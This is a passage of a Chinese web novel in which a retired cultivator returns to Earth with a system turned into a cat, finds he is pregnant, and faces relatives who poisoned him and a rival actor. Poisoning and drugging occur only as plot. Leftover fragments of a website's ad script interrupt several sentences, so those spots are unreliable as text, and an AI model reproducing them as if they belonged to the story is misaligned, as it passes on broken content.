“我现在手底下已经积压了几百个本,不止有点家的,还有绿河、花市……反正什么流派的人都有!这些人实在太过分了,系统的命也是命啊!” “那你还想继续干下去吗?” “肯定不想啊,谁爱好是上班啊,都是主神逼得,我们不干活白拿饷它要给我们干报废啊……咳咳!” 吐槽了个爽的系统后知后觉想要挽回一点颜面:“不过也没啥事咯,我只要再做200个任务就能申请提前退休了。” 它背着陆时咬牙切齿地扒拉着自己的任务清单,嘴上却说:“你又不是不知道,我最会摸了,200个,很快的了啦……” 还没说完,它就发现自己面板上原本堆得满满当当的任务全部消失了! “什么鬼?主神抽风了?” 它狂敲主神,却发现对方拒收,再转头一看,发现它竟然已经被踢出了工作群。 正懵逼时,它收到了一封邮件,点开一扫标题,它整个统难以置信到蹦了三米高:“退、退、退休通知?” 它忽然意识到什么回头望去—— 陆时放下了笔,手下愿望框在生效后化为粒子消散。 他轻笑着,温声问系统:“我这个人并无大志,毕生追求是存到能下半辈子衣食无忧的钱,然后开启养老生活。” “现在也算是都实现了,细细想来,还差一只能解闷的伴儿,统子,有兴趣转业么?” 8. 初归乡 “陆时你把那个愿望用在为我赎身上了?” 系统激动到失语:“这也太浪费了,你明明可以换更好的……” 陆时解释道:“你也说了,不能许影响世界运作的愿望。至于寿命,我活了八百年,也够本了。权利,天诛宗护法的身份也算得上一人之下万人之上。” “所以仔细核算一遍,发现只缺一个吉祥物。” 说着,这片空间处凭空出现了一个门,门锁转动,露出了前方的通道,而通道的尽头,正是陆时心心念念的蓝星。 陆时朝系统伸出了手,问道:“所以,要接受这份工作吗?” “要!” 系统一个加速,像个小钢炮一样窜进了陆时的怀里:“陆时,我爱死你了!你简直就是世界第一的绝好宿主!” 陆时笑着,没有同它打趣,而是道:“我记得你有拟态功能?换个形态吧,你这走在大街上分分钟给你抓去研究。” “不怕,我虽然不在编了,但浑身都是主神核心科技,哪个不怕死的敢对我整这死出,主神分分钟杀过来灭他的口。” 系统虽然嘴上这么说着,但身体却是非常诚实,一阵灵光闪过,从一个光球变成了一只大橘。 只是四肢仍是继承了原本的五短身材,大脸盘子配矮脚,丑萌丑萌的。 陆时没忍住,伸手揉着系统猫的脑袋,对方也毫无节操,直接袒露了肚皮,还扒拉爪子指引着陆时往下走。 系统惬意享受着,又说道:“陆时,你以后遇到什么危险就把我丢出去,保证给你弄死他。” 陆时无奈:“我能遇到什么危险?” “这谁说得准,你回去了蓝星,就不再是平念尊了,只是普通人陆时。还身负巨款,万一有不长眼的盯上你了呢?” 陆时笑了起来,并不在意:“我的修为,但学的剑法却还在啊,不过应该是用不着这些。” “好了,不在这里交谈了,该走了。” 陆时抬头看向这扇通往回家的大门,感叹道:“八百年了啊……” “近乡情怯?” 系统刚想要打趣,陆时摇头否认道:“怎么会?按照待得时间来算,元初界才算是我的家啊……” 那你为什么这么执着回去? 系统猫还没问出心中好奇,陆时已经一步跨了出去。 “赔偿,你们必须要给赔偿!否则我们绝对不会善罢甘休!” “可是你们要的太多……” 耳边传来了嘈杂的争论声,陆时睁开眼,冷白色的光刺得他有片刻的恍神,过了好一会儿才恢复视力。 他这才发现自己此时正躺在一张病床之上,在他面前,一男一女两个中年人正缠着一个衣着干练的女性喋喋不休地争论着。 “我侄子可是在你们公司上班的时候受伤的,这是共商!” “三百万!少一个子儿我们就去法院告你们,让你们吃不了兜着走!” 陆时花了一点时间才想起来他们的身份——中年男女是他舅舅陆建国、舅妈李蓉。而跟他们争执的女人则是林芝,陆时经济公司欢都娱乐分给带他的经纪人。 他们还有一个共同的身份,害他撞大运的罪魁祸首。 将自己送进投资方床上的是恨铁不成钢的林芝,她想要逼自己一把,而她不知道,她拿来下药的酒里其实早就被陆建国夫妇下了慢性毒药。 即便那天陆时侥幸逃过那辆全险半挂,也会在不久后随着毒药累积到致死程度暴毙。 陆时莫名有些想笑,有什么比一睁眼就能看到仇人齐聚眼前还能令人感到惊喜的事么? 嗯? 陆时突然瞪圆了眼,神情变得怪异:“假的吧……” “患者醒了!” 护士的惊呼打断了陆时的出神,在场所有人的目光全部落在了陆时身上,失望、慌张、狡诈贪婪……陆时被恶心的一阵反胃。 他在心底喊了系统:“帮我个忙。” 最先反应过来的是林芝,她立刻凑上来,一脸关切地问道:“陆时,你身体没事吧?” 仿佛真是一个关心艺人的好经纪人,如果陆时没有瞥见她眼底厌烦的话。 他没回,这让林芝脸上的笑容有些挂不住,正要扯开话题缓解尴尬的时候,一旁的陆建国在和李蓉对视一眼后忽然跳了出来。 他满脸横肉的脸上写满了贪婪与迫切:“陆时,你可差点被他们害死!必须要他们交出赔偿!” 陆时颔首:“嗯,的确是要算账。” 陆建国立刻面露喜色,循循善诱:“这种无良公司就该让他们付出代价,陆时,只要我们去告他,一定能让他们赔一大笔钱!” 一旁的林芝脸色不变,对这种情况早有预料。 毕竟她此行的目的就是来封陆时的口。 身为圈内资深经纪人,林芝处理这种事情的经验十足,威逼利诱。如果陆时识相拿钱闭嘴,那就是皆大欢喜。 否则……她也不介意用些见不得人的手段让陆时永远闭上嘴了。 她缓和了脸色,道:“陆时,这件事情公司是有做的不对的地方,但陆时你也不并不是一点责任……” 陆时懒得和她争辩,直接道:“五千万。” “什么?” 陆时道:“既往不咎的价格。” 林芝对此局面早有预料,冷冷威胁道:“陆时,人要学会知足。” “不劳你关心。” “狮子大开口,小心有命拿没花!” 林芝撕下来和善的伪装,正要威逼利诱,但在对上陆时沉静灰眸后,心头一悸。 背靠在墙上传来的钝痛令林芝猛地回神,自己竟然被一个无权无势的小明星吓到了? 她勃然大怒! 立刻拿起了手机就准备给陆时一个刻苦铭心的教训。却在这时,她敏锐地察觉到一股可怕的气息锁定了自己! 她的背上像是多出了一座看不到的大山,脊梁瞬间被压垮!喉咙像是灌了铅,连一个完整的字音都说不出来! 这还不止,随着时间推移她能清楚感知到那座大山不仅没有消失,重量还在一点点增加。 逃,不然会死的! 就在这个念头浮现的那一刻,那座无形的大山轰然消散。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 林芝却再也顾不上对付陆时,满脑子里只有逃跑一个念头,她夺门而出,落荒而逃。 陆建国见状大喜过望。 他本来还以为只能捞个几百万,没想到陆时一开口就是半个小目标,而且看林芝慌张心虚的模样,他感觉这事十有八九能成! 想到这,他对陆时的笑容都真了几分:“小时,还是你有主意,反正他们是大公司赔的起……” 而就在陆建国开始规划怎么挥霍这笔巨款的时候,陆时一句话给了他迎头一棒。 “这笔钱和你们有什么关系?” 陆建国还没反应过来,一旁李蓉声音就猛然拔高:“陆时,你什么意思!” 她一边说一边往门外跑:“大家伙儿给我评评理,侄子出车祸亲叔叔忙前忙后,侄子不感恩还认为我们是图他——” “别演了,就算你们能拿到钱,也没机会补上陆振挪用的公款了。” 李蓉步伐一个踉跄,慌乱问:“什么!?你怎么知道……” 陆时笑了起来,笑容很淡,却令人不寒而栗:“你们与其耗在这里,不如去找一个好律师,让你们的宝贝儿子在审讯的时候少交代一些不利他的证据。” 他按下电视音量键,电视中传来了主持人的播报:华盛集团副总经理陆振已正式被警方逮捕…… 听到那个数字的名字,二人齐齐回头,就见警察拷着一个衣衫凌乱的男人上了警车。 他嘴里还不住地喊道:“不可能!你们怎么可能会查到我身上!这不可能!” “阿振!” 李蓉顿时膝盖一软,瘫倒在地:“怎么会!我明明买通了财务去顶罪!阿振怎么还会被抓!” 她忽然瞥见了陆时脸上的嫌恶,一个猜测立时在脑海中浮现:“是你干的!对不对!” 陆时没有否认,抬手对准大门的方向,道:“请滚出我的病房。” “陆时,我告诉你,陆振真进去了老子弄死你个小兔崽子!” 陆建国狠狠地瞪了陆时一眼,暴躁地推搡着李蓉往外走:“还在这里丢人现眼干什么!赶紧去警察局!” 砰的一声摔门声过后,病房里只剩下抱着换药的托盘手足无措的护士。 陆时望向她,平静地说道:“过一会儿再来好么?” “好的,您休息。” 护士走后,病房彻底安静下来。 陆时垂着头,陷入了沉思。 “一群癫公癫婆!陆时,你就打算这么放过他们了?” 系统猫从窗帘后走了出来,后爪发力,圆滚的跟个篮球一样的身体展露出极度不符的灵活,优雅地落了病床上。 系统猫歪着头,碧绿的猫眼盯着面前垂眸沉思的青年,毛茸茸的脸上全是不解:“虽然这里不是元初界,不能用直接一点把他们咔嚓了,但让人身败名裂的方法也有很多……斩草不除根春风吹又生啊。” “我知道。” 陆时解释道:“只是眼下有件事情更重要。” 系统猫不置可否:“能有什么事情比报仇打脸更重要——” “我好像,怀孕了。” 9. 错孽缘 “啥!?” 因为太过震惊,系统一只脚踩空,整只猫差点从病床下摔了下去。 “你开玩笑的吧……” “不信?那你自己看。” 陆时抓住他一只爪子按在了自己的腹部,系统下意识地运起检查程序,这一扫,系统傻了。 陆时腹中多了一个拳头大的光团,而在其中,则躺着一个有了灵形的小小生命。 “卧槽,你真怀了!” 系统震惊不已:“陆时,你变性了!?”又自顾自否认:“不对啊!我看过你洗澡,你的确是男的阿!” “可男的怎么能怀孕!这里不是元初界,你这具身体也只是一个普通人,这怎么可能!” 陆时打断了陷入沉思的系统:“不是。” “你不是普通人?” 陆时用近乎平静的语气阐述一个可怕的事实:“不,我是说,我的修为还在。” 系统猫脸上写满了不信:“怎么可能,位面之门比人界投胎还查得严,你有修为我认你做爹好吧……卧槽!” 嗡。 熟悉的清脆剑鸣传来,下一秒,院外一株几十年树龄的大树悄然被劈成了两半! 系统震惊地望向剑气传来的方向,只见陆时的掌心里多出了一把剑! 虽然只有巴掌大小,但那形状、那剑纹还有跟撒欢的狗子一样的性格,分明就是一个缩小版的平念! “你还是把平念捞出来了!偷渡可是重罪啊!被主神逮到了可是会被格式化的!” 系统瞪大一双猫瞳看着陆时,欲言又止好半天,才憋出一句话:“陆时,你给我赎身,不会是早就发现不对,才把我拉上贼船吧?” 陆时挂着真诚的浅笑:“系统真厉害,这都被你发现了啊。” 系统猫却又打消了怀疑:“不,你不是这样的人。” 毕竟搭档了这么多年,陆时真有能从主神监视下完成偷渡,那怎么会用那么惨烈地方式完结任务? 系统猫绞尽脑汁半天也没想出个所以然来,最后颓丧地说:“小的去问问其他统。” 系统猫闭眼尝试连接,半天之后,泄气地坐在瘫坐在床上:“主神这个混蛋,聊天权限都给我取消了!” “没事,我还有办法。” 陆时便退而求其次,用了一种广为流传地却解惑方法——卜卦。 他用灵力凝结了三个铜钱,往桌上一抛,铜钱骨碌碌地转了几圈,齐齐地立在了桌上。 “无解。” 天道不想说,或者不知道。 陆时比较倾向于后者。 “算了,不管了,反正你也不是蓄意偷渡,就是主神杀过来也不能不分青红皂白就弄死我们!” 系统猫将目光从铜钱上移开,转而落在了陆时的小腹上,试探地问:“这孩子是谁的啊。” 陆时将那几乎贴在自己肚子上的猫头推远点,没隐瞒:“那头龙的。” “哦,龙的啊,那就好,我还以为是封烬的……等等,封烬原身不就是黑龙吗!” 反应过来的系统差点没把舌头给咬掉! 它盯着陆时怪异而无奈的脸,结结巴巴地问:“你、你们什么时候搞在一起的?” 陆时没回,眼前又不自主地浮现遥远的记忆。 锋利的龙爪禁锢着他的身躯,那人不得法门的生硬动作……时隔多年,那酸痛感再度笼罩全身,后颈也在隐隐作痛。 他闭了闭眼,揭开了这个不甚愉快的话题:“都过去了,现在该考虑的,是这个孩子……” 系统惊骇地问:“你要打掉?”想了想,又说:“嗯,好像也是一件好事。” “不。” 陆时摇头,抚上了小腹,眼中虽然有愁绪,却并无厌恶:“我想生下他。” “啊?为什么?” 系统猫见陆时一脸温柔,脑海中有了一个大胆地猜测:“别告诉我你爱上了那头混账龙才要给他生孩子吧?” 陆时没直接回,而是反问道:“你会爱上主神么?” “先不说我没有那功能,有也不会喜欢只会让我007的上司啊!”系统猫炸毛道:“我又不是受虐狂!它给我麻溜地爬远点好吧!” “那不就是了。” “那你为什么……” 陆时被它弄烦了,强势中止了这个话题:“没有为什么,他的体内流着我的一半血,我想让他活下来,就这么简单啊。” “真没动情?” 系统猫歪着脖子盯着他脸左看右看,确认没见到哪怕一点单恋的狗血味儿后,用猫爪拍了拍他的手背:“那就生下来吧,虽然封烬不是人,但毕竟是点家男主,各方面都是顶尖。” “孩子生下来,样貌天赋这些都不会差到哪儿去,不亏!” 饶是陆时都被系统猫给整得无语:“这又不是菜市场买菜,能挑挑拣拣……” 系统还想反驳,却被陆时拎住了命运的后脖颈往病房外走。 “陆时,你这是要去哪儿啊?” “去办出院回家。” “灵力将伤口全部滋养好了。” 陆时也是因为在醒来时查找伤口,结果没发现,继而探查,才发现的这一连串大惊喜。 陆时揉搓着毛茸茸的猫头,说:“藏好了,这里可是医院,你被发现了可是会被抓去绝育的。” “我又不是真的猫,没那玩意儿。” 说是这样说,系统还是把自己埋进了陆时的怀里,它眼馋那把剑的专属待遇可老久了。 陆时又觉得不放心,抬手施展了一个小藏匿术,然后抱着系统猫出门去护士台办理手续。 “您要出院?可……” “我的伤势已经好了,这位医生也查看过了。” “可我们还是建议您再温养几天……” “不用了。” “是因为那几位骚扰您吗?我可以通知安保……” “不,是因为我没钱。” “……” 系统仔细听着,发觉出了细小的异样。 虽然陆时的声音依旧平和,但却少了晦涩的锋芒,系统猫也很快意识到原因,与陆时交谈者也是善意居多,而非诅咒谩骂、含枪带棒。 难道这便是他这么执着回来原因么? 在陆时的坚持下,出院手续成功办了下来。 他准备回去收拾东西时,才发现怀里的猫蜷着睡着了。他没扰猫清梦,只将这一大坨揣进了背包里,拎着往外走。 然而刚走出医院大门的时候,便见几个穿着黑色风衣的男人身手矫健的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 翻过围墙,朝着花园的方向摸了过去。 大白天还穿一身黑,陆时想装看见都不行,但真正吸引陆时的是他们身上那萦绕着的气息。 “修者?” 领头的精壮男人忽然察觉到了一道刺探的目光,他猛地回头——什么都没发现。 王奇挠了挠头,搞不清状况:“明明感觉到有人在盯着我啊。” 副队长肖艳白了他一眼,毫不留情:“上上次你这么说,兄弟几个把地皮翻了个遍,抓出来一只兔子,上次是一只松鼠,这回又是什么?” “干活干活,榛子,汇报情况。” 名为榛子的少年盯着面前大树光滑的断裂面,神色格外凝重:“切割面还有剑气残留,这种程度……最低也是筑基。” “筑基剑修!” 此言一出,除了王奇以外所有的队员都变了脸色。 “乖乖,厉害啊!这员猛将要是能招进我们二队,到时候炫死一队那群瓜娃子!” 王奇呼了出声人一巴掌:“吵什么呢!就算他是香饽饽剑修又咋样嘛,毁坏公共财务,也得被抓起来拘留十五天!” “现在还愣着干什么?去附近抓人啊!” “是,老大!” 几人正要散开,突然腰间的行动器发出一阵的急促的提示声。 王奇打开一看,突然变了脸色。 “东海岸发现密教举行请神活动!大家赶紧去支援!” 有队员问:“老大,这里要留人吗!” “留个屁,一个小小的筑基剑修能有密教重要?赶紧走别墨迹!” 几人来的快去得也快。 而在王奇原本查看的方向,空间泛起了涟漪,是陆时解开了藏匿的法诀。 他望着几人离开的背影,眉头微皱,喃喃道:“蓝星上有修炼者,而且看样子人数还不少。” “还有那个叫榛子的少年,竟然能察觉到我的剑气……” 陆时想着,抬手抹去了那一抹残留的微末气息:“好了,这样便万无一失了。不过,接下来还是得低调些才行。” “不能让麻烦事毁了我的退休生涯。” “你能这样想是最好的。” 陆时回头,只见系统猫艰难地从背包中挤出了一个大橘脑袋和一只爪子,爪子攀着拉链试试探性地勾了几次,才成功把自己放了出来。 它又挤进了陆时的怀中,对自己体重毫无逼数地给自己摆了个舒服睡姿之后,又将猫爪搭在了他的腹上。 那是灵海所在之处,内府。 “陆时,相比你自己也察觉到了,你虽然修为还在,但情况并没有那么乐观。” “我知道。” 他虽然靠着替死傀儡活了下来,却也是真真切切从鬼门关爬回来的。 陆时摸着一脸关切说教的系统猫,把它没说完的后文一一道出:“内府动荡、灵海枯竭,空有渡劫期的境界,但能动用的顶多也就是分神境的实力,不过在蓝星也是绰绰有余了。” 系统听着,仍是不放心:“可……” 陆时安慰道:“而且,这里既然有修者,那同样也有天材地宝,说不定得到个什么机缘就养回来了。” “我现在更关心另一件事,你说封烬他会察觉到这个孩子的存在吗?” 10. 小奶糖 系统猫对天举起猫爪,信誓旦旦说道:“不可能,绝对不可能!元初界和地球是两个位面,别说他封烬根本感知不到这个世界发生的事情,就算是算到了,没有主神开界门,他能过来我直播吃——” 陆时幽幽道:“刚刚你也是这么说的。” 一样的信誓旦旦,一样的赌咒发誓,然后多了个爹。 起初陆时还挺信任系统的,直到今天发现自己身上多带了一些外乡的土特产。 “这……” 面对陆时平静但能在灵魂上打出暴击的目光,系统的声音忽然弱了下来,但还是坚持嘴硬:“你们这里不是有一句话说得好么,兄弟是手足,女人是衣服,残疾的人那么多,裸奔的又能有几个?” “你放心,封烬估计也就伤心个半个月,叶微桐再安慰一下,他就会忘记了。” 作为手足本人,陆时想了想,发现系统说的很有道理。 封烬是个十足的事业逼,且作为点家的男主,龙傲天的标配他一个没落,甚至还有罕有的品质,专情。 想到他对叶微桐的执着,陆时想,他或许不会忘了自己,但想起也只会缅怀。 他大概会在一个阴雨天带着一壶酒,独身来到自己的衣冠冢前。斟酒自饮追忆完过往,最后一声长叹结束长长的沉默,他起身离开。 在墓园外,叶微桐会撑伞等他,两人一起携手归家。 “挺好的。” 陆时阖眸,将这些杂乱的念头全部甩出脑海:“不说这个了,好不容易结束任务了,也是时候该享受退休的生活了。” 系统猫点头:“同意。” 这个话题就此被揭过,陆时伸手拦了一辆出租车,报了自己家的地址。 榕城新寓。 虽然名字里带了一个新字,但实际上这里是有着三十年房龄的老楼盘,小区内也只有区区四栋,楼层也不超过七层,外墙装潢也是典型的上世纪风格。 原本立项用途是打算做国企家属楼,但碰上下岗潮,企业倒闭的倒闭,破产的破产,最后这栋楼也转为对外出售。 但大多数房主却是工厂员工,陆时家就是其中之一。 “4栋404?” 随着陆时拿出钥匙打开了家门,系统猫迫不及待从他怀里跳了出来,四脚落地,竖着尾巴昂首挺胸地开始了巡查。 屋子很小,不到五十平,但因为做了开放式厨房极大节省了空间,房型也只做了一室,加上客厅除了一张沙发、地毯跟一张木质的小茶几外就再无其他杂物,所以看起来并不觉得逼仄。 系统评价道:“看来竟然还不错哎,陆时你自己弄的?” “嗯。” 陆时说着窗边打开了窗户,给房间里换气,虽然按照地球上的时间。 他离开的时间只有两天,但在心理上,他阔别太久。 “很久以前的事了,当时没事做,就自己改了,顺带也省钱。” 系统啧啧赞叹:“原来你这抠门的性格不是一天养成的啊。”它忽然好奇地看到了一个伫立在墙角的柜子,好奇地伸出了爪子扒拉开后,它发出了惊呼:“好多酒瓶子啊!” 只见柜子里满满的都是酒瓶,什么样式的都有,白酒、啤酒、果酒、鸡尾酒……但品类齐全到囊括了市面上所有的种类。 而且大多的标签都已经泛黄,足以看出存放之久。 陆时走了过来,将柜子门合上,回道:“人总得有点爱好不是?” “嗯,理解。” 系统猫点头,语重心长地说道:“不过你现在可不能喝啊,肚子里可还有个小的呢。既然你打算生下来,就该为他着想。” 陆时哭笑不得:“只是爱好,又不是顿顿离不开酒,戒了就是。” 它又道:“我现在才相信酒只是你的爱好。” “那之前你怎么看我的?” “我以为你是任务的压力大,借着醉酒逃避现实呢,后面我就知道了你不是这种人。” 陆时笑了笑没接话,又谈到了另一个话题:“对了,你想吃点什么吗?冰箱已经空了,我去买,或者叫外卖都可以。” 系统想了想,说道:“虽然我不补充能量也没啥问题,不过既然是陆时你的一番好意,我也不能辜负!” 它后腿一蹬跳到了陆时的怀里:“我要吃你做的,八百年了,我可还没尝过你的手艺呢。” 陆时忍不住打击系统:“我手艺其实一般,不要抱有太大期待。” 系统却不信,只当他是在自谦:“咋可能,你烤的鸡封烬别提吃的有多香……呃。”意识到失语的系统猫立刻转移话题:“走吧,去买菜吧!” “好。” 陆时揣着猫往楼下走。 老旧小区虽然有诸多弊端,但在生活这一方面却是真的方便,几百米开外,就是一个大的生活超市。 虽然跟市中心新修的大连锁商城里的商超无法比,但对日常生活来说完全够用。 陆时是这里的常客。 他推了辆购物车,系统猫仗着陆时丢了屏蔽视线的隐匿咒,大摇大摆地霸占了孩子座,肆无忌惮地挥动着猫爪:“这个、那个、还有这个……” 不一会儿,购物车就已经被各色的零食和菜堆满,系统猫这才偃旗息鼓地说道:“啊,勉强就这些吧,我们去结账吧。” “好。” 陆时予其所求。 但在推着购物车前往收银台的路上,他忽然被某样物品吸引了视线,并停下了脚步。 “嗯?陆时,怎么了吗?” 好奇的系统猫顺着他的目光望去,最后锁定在底层货架摆放的商品上:“算盘?还是儿童款,超市里竟然还卖这个东西。” 陆时点头,道:“嗯,以前有过一部动画片,其中一个主角的武器就是算盘,在小孩子之中很流行,大概是游戏厂发现了商机仿做了吧。” “哎?你的童年?那很久了,竟然现在还在卖吗?” 系统的好奇很快得到了解答。 “先生您在看的是我们商城推出的怀旧商品,都是我们从精心保存的仓库里挑选的有童年回忆的商品。” 一个中年女子发现了驻足的陆时,走了过来履行了她售货员的职责:“先生,您别看这款玩具的包装有些老旧,但玩具本身一定是保存完好的。因为生产制作这家玩具的厂家十分尽职尽责,它虽然是玩具,但质量不比真正的算盘差。” “是么?” 售货员道:“当然了先生,我亲眼所见,这款玩具还在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 热销时,一个小孩子好像是偷拿他家长的钱来买被发现了,那位愤怒的爸爸就气的当场要砸了它,当时我们店里的瓷砖都被磕了一个角,玩具算盘都没事嘞。” 陆时点头附和道:“质量的确很好。” “那您要不要买一个?最近不是流行追忆童年吗?而且价格也很便宜,只要10块,一杯奶茶的钱。就算不完了,以后还可以留着给自己的孩子玩。” “是很有用。” 陆时躬身从一众黯淡失色的玩具车和奥特曼中拿出了那个仿制的算盘放进了购物车中。 “感谢推荐。” “终于卖出去了啊……” “还以为最后会丢掉呢……” “无本生意白赚十块……” “……” 陆时推着车进了收银台。 将最后一件商品摆上台后,系统猫也非常有眼力见地跳会了陆时的肩膀上,好奇问道:“陆时,你没必要这么早买玩具啊,离孩子出生还早着呢。” 陆时一边将购物车放回停放处,一边随口回道:“是么?” 系统猫点头:“当然,你忘了,封烬他可不是人,殷夫人她怀哪吒都三年,更别提你肚子里是只龙……额,蛋?” “有备无患嘛。” “但你现在未免有点太夸张了啊。” 营业员的恭敬提示声打断了二人的话题:“先生,一共239.8元,请问是威信还是支……” “现金。” 陆时拿出了钱包,点了点里面数额,欣慰道:“正好够,不吃糖。” 付款找零,一气呵成。 看着将两毛钱硬币都仔细塞进钱包内袋放好的陆时,系统满是无奈:“陆时,你忘了你的身份了吗?” 陆时有一瞬的懵逼:“这里是蓝星,我还有什么身份?” “你都说了这里不是元初界了啊,怎么还没意识到?”系统没有卖关子,一脸激动地说:“你是完成了主神任务的优秀宿主啊!你忘了吗,在回来之前,你兑换了五十万积分的黄金!也就是五十万克,按照当前的金价来算的话——” 陆时适时望向手边的金店,告示上描红加粗的数字634堪称醒目。 “你现在可是有3亿……多少来着?” 系统猫正要运算,陆时已经得出了答案:“三亿一千七百万。” “啊对,陆时你的心算可真快。” “小时候电视上有宣传卖课的教过速记,我觉得有趣,就学了一点。” 系统猫一甩尾巴,拂过陆时拿着老旧钱包的手:“我刚刚在后台查了,主神已经核准了这笔款项的发放,不过为了让你能合法使用这笔钱,还得走走程序,过个一两天才能到你手上。” “陆时,你马上就是亿万富豪嘞,没必要这么抠了。你们这边不是有个名人说过吗?有钱了,两碗豆浆,喝一碗倒一碗。” “当然,我也知道,让你这只铁公鸡突然铺张浪费有些不太好,但你都决定退休了,打了这么久的仗好好享受享受怎么了?” 陆时笑着摸了摸猫头,道:“你说的对,也是时候该享受生活了。” 却在这时,身后传来了讥讽的声音:“陆时,你被车撞傻了?跟个猫崽子说啥呢?” 11. 失败者 陆时回头看去,一个穿着花衬衫的青年摘下了遮脸的墨镜后,露出了一张满是尖酸刻薄的脸。 系统猫疑惑扒拉了陆时的衣服:“这谁啊,看着就叫人觉得不爽。” 陆时摇头:“我也不知道。” 说话间,花衬衫青年走到了陆时的面前,目光落在了他怀中的系统猫上,顿时露出嫌恶之色:“啧,这猫长得可真丑,辣眼睛!还有你手里提着的这堆垃圾食品,看着就叫人倒胃口。咦,怎么还有个算盘?还是儿童款,这么低廉的玩具你也好意思买了送人?” 他忽然话锋一转,嗤笑道:“不过跟你这个失败者,很配!” “可恶,老子要弄死这个眼瞎的混蛋——” 陆时按住了系统猫想给人开瓢的爪子,盯着来人的脸看了许久,满是疑惑:“你……” 花衬衫青年见状不禁挺起了胸膛,满怀期待:“说啊,我已经迫不及待看到loser的无能狂怒……” “你谁啊?” 青年一个脚滑瞬间破功。 “哈!连我都认不出来了!你认真的?” 他拔高音量吼出了自己的名字:“我,谢安然,陆时你故意的是吧!” “哦,是你啊。” 陆时这才终于在浩如烟海的记忆里调出相关记载,对方是跟他同一批签约的艺人,也是陆时如今仅有还有印象的几个同期之一。 因为当初谢安然还没出道前曾抱怨租房开支太大,拜托陆时给他介绍过家附近便宜的房产,所以遇到也算是正常。 “找我有什么事么?” “什么事?当然是来嘲笑你的啊!” 谢安然毫不加掩饰自己的恶意,趾高气昂地对陆时挤眉弄眼:“你还不知道吧,你马上就要被封杀了!” “封杀?”陆时挑了挑眉,对这个词顿感陌生。 “当然!”谢安然道:“你不会以为打了王制片还能在圈内蹦跶吧!我告诉你,王制片可是放了狠话,有他在一天,就没有你的一天出头之日!” “王制片?” 系统猫疑惑插嘴问道:“谁啊?” 陆时答道:“一个想潜我的电视剧制片人。” “就是害得你被车撞的那个混账?” 系统猫瞪圆了眼睛,怒气冲冲道:“陆时,你绝对不能放过他!” 陆时眼中闪过一丝冷意:“我会的。” 他从来不是会一贯忍气吞声的性格。 得到了承诺的系统猫仍觉得不够解气,道:“不行,这样太便宜他了,要不把他阉了吧!” 陆时哭笑不得:“拒绝,不想脏了自己的手。” “你说的也有道理……” 系统猫正在思考着惩罚手段,一旁发现自己被忽视的谢安然高声质问道:“陆时,你怎么不说话?哦,我知道了,你现在肯定是在对当初一时冲动的举动追悔莫及对不对?” 陆时一时没有跟上他的脑回路:“我为什么要后悔?” “陆时,你可真会嘴硬!” 陆时嘴角一抽:“一份工作而已,没了重新找一份不就好了?” “别装了!” 谢安然如同连珠炮一样说道:“熬了这么些年,终于被看上担任S级大制作的二番,眼看着马上就要熬出头来,却得罪了圈内久负盛名的制片人!不仅已经定下来的角色没了,未来也不会再有一家公司敢用你!” “原来是这样。” 陆时同步跟系统猫解释:“他说的是《过千山》这部剧。” “哦对,你是个演员。不过一部剧而已,他有必要这么夸张吗?好像没了就是天大的损失一样。” 陆时想了想,道:“也可以这么说吧,因为这部剧可以说是青果影视投入力度最大的一部,王牌编剧操刀,获得过国际金奖的导演执拍,服化道、后期制作都是国外顶级公司负责,光前期场地的投资就有2亿。” 系统猫:“哇喔,好大的阵仗。” “嗯,因为是直接奔着名流影坛、顺带帮助平台起死回生去的。” 此话一出,资深电影爱好者系统猫立刻撺掇道:“陆时,你要不去参演试试?我想看看你演戏是什么样子!这是个好机会!” 陆时扯了扯系统猫的胡子:“我不才演了八百年苦逼男二么?还没看够?” 系统猫脸上的笑容僵住:“呃,不好意思,差点忘了你现在是退休状态……” 就在这时,欢呼雀跃的谢安然脸上露出了小人得志的笑容:“陆时!你的演员生涯到此就算彻底结束了!” “他还真是没完没了了。”系统猫被吸引了注意,无情吐槽道:“陆时,你是不是跟他有什么仇?” 陆时摇头:“我没有跟他结仇的印象。” “真的没有?他这么不遗余力,我都要怀疑你是他的杀父仇人了。” 被他这么一说陆时也拿捏不准,干脆直接问向了另一方当事人:“所以呢?你不止是来跟我说这些的吧?” 几乎是钩直饵咸,谢安然立刻上钩。 昂首挺胸摆出一副高高在上的态度,用施舍地语气说道:“陆时,只要你求求我,我说不定可以跟王制片说两句好话,让你有个能弥补错误的机会,否则,你就等着慢慢被观众遗忘!最后老死在公司的化妆间吧!” 陆时垂眸看向系统,看到如出一辙的无语后,道:“我明白了。” 谢安然激动不已:“算你识相,那就赶紧求我……” 陆时缓缓道:“事情是这样,《过千山》公开选角,经纪人林彤把我的资料发了过去。王制片看到了之后,提出让我担当二番,条件是跟他发生关系?” 没有听到自己预想中答案的谢安然非常不满:“你说这些干什么?我要听到你求我……” 陆时连个眼神都没给他,径直打断道:“林彤知道我不会答应这个条件,就背着我想要下药推波助澜一把,然后因为我中途醒来打了一顿王制片逃走,所以导致他决定报复我,取消二番,作出封杀,就是他的手段。” “按理来说,连我这个当事人都不知道的内情,你应该也是不知道的。但你不仅清楚,还知根知底,那就只有一个可能。” 陆时眼中浮现出厌恶之色:“林彤为了不让公司被迁怒,就派你去安抚盛怒中的王制片?而你答应了。” 这眼神深深刺痛了谢安然,他气的暴跳如雷:“是啊!那又怎么样!陆时,我告诉你,王制片已经答应把你的角色让给我了!” “那可是S级大制作的男二!等电影一上,我爆红指日可待!到时候你连给我提鞋都不配——” 陆时再次打断他的自言自语:“我还有最后一个疑问,我们之间究竟有什么过节?”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 谢安然愣了一下,突然气急败坏地跳脚:“哈?陆时你别说你忘了……” 陆时这次没回他,在了解到对方精神可能不正常后,他直接伸出手,动用自己的神魂直接刺探进对方识海深处直接查看。 原本聒噪的谢安然立刻呆若木鸡。 片刻后,陆时睁开了闭上的眼睛,满脸都是无语。 系统猫一脸好奇地问道:“是为了什么?” “额,说来话长。五年前,我签约这家经纪公司,公司原本给我们制定的方案是参加选秀,走练习生出道,也就是做偶像。” 